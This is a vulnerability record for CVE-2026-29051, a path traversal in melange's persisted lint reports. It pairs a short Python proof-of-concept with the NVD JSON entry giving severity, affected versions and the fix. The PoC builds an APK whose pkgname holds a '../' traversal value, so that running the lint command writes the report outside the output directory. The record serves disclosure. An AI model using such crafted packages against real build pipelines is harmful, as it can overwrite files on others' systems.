CVE-2026-29051

# PoC for CVE-2026-29051: melange Path Traversal # This script generates a malicious APK with a crafted .PKGINFO file. import zipfile def generate_malicious_apk(filename): # The malicious package name containing path traversal sequences # This attempts to write the lint report to the parent directory pkginfo_content = """pkgname=../../tmp/malicious_lint_result pkgver=1.0.0 pkgdesc=PoC APK arch=x86_64 """ with zipfile.ZipFile(filename, 'w') as zf: # Write the crafted .PKGINFO into the APK zf.writestr('.PKGINFO', pkginfo_content) # Add a dummy file to make the structure valid zf.writestr('dummy.txt', 'content') print(f"[+] Created {filename}") print(f"[+] Run: melange lint --persist-lint-results {filename}") print(f"[+] Expected result: Attempts to write to ../../tmp/malicious_lint_result-lint-1.0.0-r0.json") if __name__ == "__main__": generate_malicious_apk('exploit.apk')

{"cve": {"id": "CVE-2026-29051", "sourceIdentifier": "[email protected]", "published": "2026-04-24T00:16:27.477", "lastModified": "2026-04-27T14:42:38.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "melange allows users to build apk packages using declarative pipelines. Starting in version 0.32.0 and prior to version 0.43.4, `melange lint --persist-lint-results` (opt-in flag, also usable via `melange build --persist-lint-results`) constructs output file paths by joining `--out-dir` with the `arch` and `pkgname` values read from the `.PKGINFO` control file of the APK being linted. In affected versions these values were not validated for path separators or `..` sequences, so an attacker who can supply an APK to a melange-based lint/build pipeline (e.g. CI that lints third-party APKs, or build-as-a-service) could cause melange to write `lint-<pkgname>-<pkgver>-r<epoch>.json` to an arbitrary `.json` path reachable by the melange process. The written file is a JSON lint report whose content is partially attacker-influenced. There is no direct code-execution path, but the write can clobber other JSON artifacts on the filesystem. The issue only affects deployments that explicitly pass `--persist-lint-results`; the flag is off by default. The issue is fixed in melange v0.43.4 by validating `arch` and `pkgname` for `..`, `/`, and `filepath.Separator` before path construction in `pkg/linter/results.go` (commit 84f3b45). As a workaround, do not pass `--persist-lint-results` when linting or building APKs whose `.PKGINFO` contents are not fully trusted. Running melange as a low-privileged user and confining writes to an isolated directory also limits impact."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chainguard:melange:*:*:*:*:*:go:*:*", "versionStartIncluding": "0.32.0", "versionEndExcluding": "0.43.4", "matchCriteriaId": "3E8363CF-5AF6-4FD7-A491-5D3E8E1F3576"}]}]}], "references": [{"url": "https://github.com/chainguard-dev/melange/commit/84f3b450ce6e472c4abb8dc4c26d0ce8ac1259ac", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chainguard-dev/melange/security/advisories/GHSA-q2pw-xx38-p64j", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation", "Patch"]}]}}